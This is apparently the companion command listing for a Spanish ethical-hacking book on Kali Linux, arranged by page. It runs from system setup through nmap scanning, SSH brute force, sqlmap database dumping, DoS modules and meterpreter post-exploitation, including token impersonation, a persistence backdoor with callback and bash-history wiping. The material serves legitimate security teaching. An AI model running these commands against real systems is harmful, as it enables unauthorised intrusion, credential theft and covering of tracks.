Kali Linux para Hackers

Técnicas y metodologías avanzadas de seguridad informática ofensiva

MATERIAL ADICIONAL

Arturo Enrique Mata García

Ra-Ma®

MATERIAL ADICIONAL KALI LINUX PARA HACKERS

Página 56

```
┌──(root@kali)-[~]
└─$ echo “deb http://http.kali.org/kali kali-rolling main non-free contrib”
| sudo tee /etc/apt/sources.listlist

┌──(root@kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade

┌──(root@kali)-[~]
└─$ cp -vrbi /etc/skel/. ~

┌──(root@kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -ff

┌──(root@kali)-[~]
└─$ grep VERSION /etc/os-release
```

Página 57

```
┌──(root@kali)-[~]
└─$ uname –v
```

Página 65

```
Escribir un mensaje con una salida estándar
echo [string]
echo ``Hola mundo''

finger [usuario]
finger root@maquina.com

Terminar un proceso
kill [-señal] PID
kill 1234

who
Encontrar la diferencias entre registros
diff [-e] archivo1 archivo2
diff contrato-vigente.c nuevo-contrato.c

Buscar patrones en archivos
grep [-cilnv] expr archivos
grep root /etc/passwd

Crear directorios
mkdir [dir]
mkdir temp
```

Página 66

```
Cambiar los permisos de un archivo
chmod [permisos] [archivo]
chmod +x mibackup

Programar la ejecución de un comando
at [-lr] hora [fecha]
at 6pm Friday script.py

Copiar un directorio en background
cp [-r] [ruta] [&]
cp -r /usr/src/linux /tmp &
#
[Done] cp -r /usr/src/linux /tmp
#
```

```
Definir una variable de entorno DISPLAY (usado para acceder a un
servidor X-Windows).
export VARIABLE=Valor
export DISPLAY=10.0.0.0:0.0
```

Página 67

```
Ver información de las interfaces de red disponibles
ifconfig [opción]
Ifconfig -a

Asignar una dirección IP
Ifconfig [interface] [dirección IP] [subnet]
ifconfig eth0 192.168.0.2 netmask 255.255.255.0

Definir el nombre del dominio
nslookup domain=NOMBRE
nslookup domain=MI_COMPAÑIA

Añadir una ruta
route add -net [segment de red] gw [IP del gateway]
route add -net 10.10.10.0/24 gw 192.168.0.1

Borrar una ruta
route del -net [segment de red] gw [IP del gateway]
route del -net 10.10.10.0/24 gw 192.168.0.1
```

Página 68

```
Agregar el Gateway o puerta de enlace por defecto
route add default gw [IP del gateway]
route add default gw 192.168.0.1

Ver las conexiones activas
netstat –a

Ver el puerto en uso por un programa
netstat -ap | grep [Programa]
netstat -ap | grep ssh
```

Página 96

```
┌──(root💀kali)-[/]
└─# dig . ANY
```

Página 99

```
whois 142.250.189.142
```

Página 100

```
──(root💀kali)-[/]
└─# dnsenum -v arturomata.xyz
```

Página 103

```
──(root💀kali)-[/]
└─# traceroute example.com
```

Página 104

```
──(root💀kali)-[/]
└─# pathping -n server-1
```

Página 108

```
──(root💀kali)-[/]
└─# metagoofil -d klipart.com -t pdf -l 50 -n 25 -o /home/arturo
```

Página 110

```
site:NombreDeDominio -site:DominioRaiz

site:NombreDeDominio filetype:Extención
```

Página 112

```
nmap -v scanme.nmap.org
```

Página 113

```
nmap -sL [dirección/rango IP]
```

Página 114

```
nmap -Pn -A 192.168.2.1
```

Página 115

```
nmap -O 192.168.2.1-20
```

Página 126

```
nmap -sP 172.28.252.0/24

nmap -PE 172.28.252.0/24

nmap -PA20 172.28.252.0/24

nmap -PS20 172.28.252.0/24
```

Página 127

```
nmap -PU20 172.28.252.0/24

nmap -PP 172.28.252.0/24

nmap -PM 172.28.252.0/24
L NOTAS
$ nmap -T5 172.28.252.0/24
```

Página 130

```
portSpider $> modules

portSpider $> use http

portSpider $> set network 192.168.18.0/29 verbose
```

Página 131

```
$ nmap -p 25,80,1000-4000 192.168.2.1

Nmap scan report for 192.168.2.1

# nmap -sV -p 25,80,1000-4000 192.168.2.1
```

Página 135

```
# nmap -sS -sV <target> --script vuln

# nmap -sS -sV <target> --script default

# nmap -sS -sV <target> --script all

# nmap -p445 --script vuln <target>

# nmap -p445 --script vuln 10.0.0.20
```

Página 136

```
# nmap -p 445 <segmento>

# nmap -p 3389 <segmento>

nmap -F/-f <ip/máscara de red>

# nmap -F 192.168.1.0/24
```

Página 145

```
nikto [-h URL.com]
```

Página 146

```
nikto -h <Hostname/IP> -Tuning <Option>

nikto -h 192.168.2.1 -Tuning 9
```

Página 151

```
msf6 > use auxiliary/scanner/smb/smb_login
```

Página 153

```
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
```

Página 155

```
msf6 > wmap_sites -a http://192.168.2.1/
```

Página 158

```
msf6 > wmap_vulns –l
```

Página 159

```
msf6 > vulns
```

Página 165

```
root@kali:~# crunch 3 4

root@kali:~# crunch 3 4 a3?@
```

Página 167

```
root@kali:~# cewl -d 2 -m 5 -w docswords.txt https://example.com

root@kali:~# wc -l docswords.txt
```

Página 169

```
root@kali:~# cd cupp/ && python3 ./cupp.py –i
```

Página 173

```
hydra -l user -P diccionario.txt ssh://0.0.0.0
```

Página 176

```
root@kali:~# medusa -h 192.168.18.133 -u root -P /home/arturo/rockyou.txt -M ssh

root@kali:~# medusa -h 192.168.18.133 -u root -p 741852963 -M ssh
```

Página 177

```
(root㉿kali)-[/home/arturo]
└─# echo -n “password123” | md5sum | tr -d “-”>>hashes.txt
```

Página 178

```
hashcat -a 0 -m 0 -o test.txt hashes.txt /home/arturo/rockyou.txt
```

Página 182

```
exploit/windows/rdp/cve_2019_0708_bluekeep_rce.

msf6 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
```

Página 184

```
auxiliary/scanner/telnet/telnet_login.

msf6 > use auxiliary/scanner/telnet/telnet_login
```

Página 190

```
root@kali:~# searchasploit -t java Windows
```

Página 191

```
root@kali:~# searchsploit -v java oxs

# searchsploit -w java Windows
```

Página 195

```
└─# nano /etc/ettercap/etter.conf

└─# nano /etc/ettercap/etter.dns #
```

Página 196

```
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
```

Página 205

```
tcpdump –c 10 –ni eth0
```

Página 207

```
sudo tcpdump -n –v
```

Página 208

```
sudo tcpdump -r archivo.txt
```

Página 211

```
sqlmap -u http://198.168.18.133/DVWA/index.php?id=1&id2=1&id3=1

sqlmap -u “http://192.168.18.133/DVWA/index.php?id=1&id2=1&id3=1” –dbs
```

Página 212

```
sqlmap -u “http://192.168.18.133/index.php?id=1&id2=1&id3=1” -D db_dvwa –tables
```

Página 213

```
Sqlmap -u “http://192.168.18.133/index.php?id=1&id2=1&id3=1” -D
db_dvwa -T db_user -C id,name,email,passwd –dump
```

Página 215

```
cat /var/www/html/DVWA/vulnerabilities/fi/index.php
```

Página 216

```
msf6 > use auxiliary/scanner/mysql/mysql_login
```

Página 217

```
msf6 > use auxiliary/scanner/mssql/mssql_ping
```

Página 222

```
meterpreter > run checkvm

meterpreter > getpid

meterpreter > idletime
```

Página 223

```
meterpreter > getwd
```

Página 241

```
msf6 > use scanner/rdp/rdp_scanner
```

Página 242

```
msf6 > use auxiliary/scanner/rdp/ms12_020_check

auxiliary/dos/windows/rdp/ms12_020_maxchannelids
```

Página 244

```
msf6 > use auxiliary/dos/tcp/synflood
```

Página 246

```
root@kali:~# tcpdump -ni eth0 host 192.168.18.129
```

Página 252

```
nmap -sP -Pn 192.168.2.1/29
```

Página 253

```
nmap -Pn -O 192.168.18.1/29
```

Página 272

```
root@kali:~# nmap 192.168.2.6
```

```
root@kali:~# nmap -f 192.168.2.6
```

Página 273

```
root@kali:~# nmap -g 80 192.168.2.6
```

Página 274

```
root@kali:~# nmap -P0 -sI 1.1.1.1:1234 192.168.2.6
```

Página 275

```
root@kali:~# nmap -Pn 192.168.2.6 --data 0xdeadbeef
```

Página 282

```
meterpreter > getuid
```

```
meterpreter > sysinfo
```

Página 283

```
meterpreter > ipconfig
```

```
meterpreter > ps
```

Página 285

```
meterpreter > run autoroute -s 172.23.129.0/24
```

Página 287

```
meterpreter > use incognito

meterpreter > list_tokens –u

meterpreter > impersonate_token WIN-K5MMBSR0H\\Administrator

meterpreter > Shell
```

Página 288

```
meterpreter > run metsvc -A

meterpreter > run persistence -X -i 5 -p 6661 -r 192.168.2.109
```

Página 289

```
meterpreter > run winenum
```

Página 290

```
Meterpreter > load incognito

$ cat /dev/null >~/.bash_history && history –c
```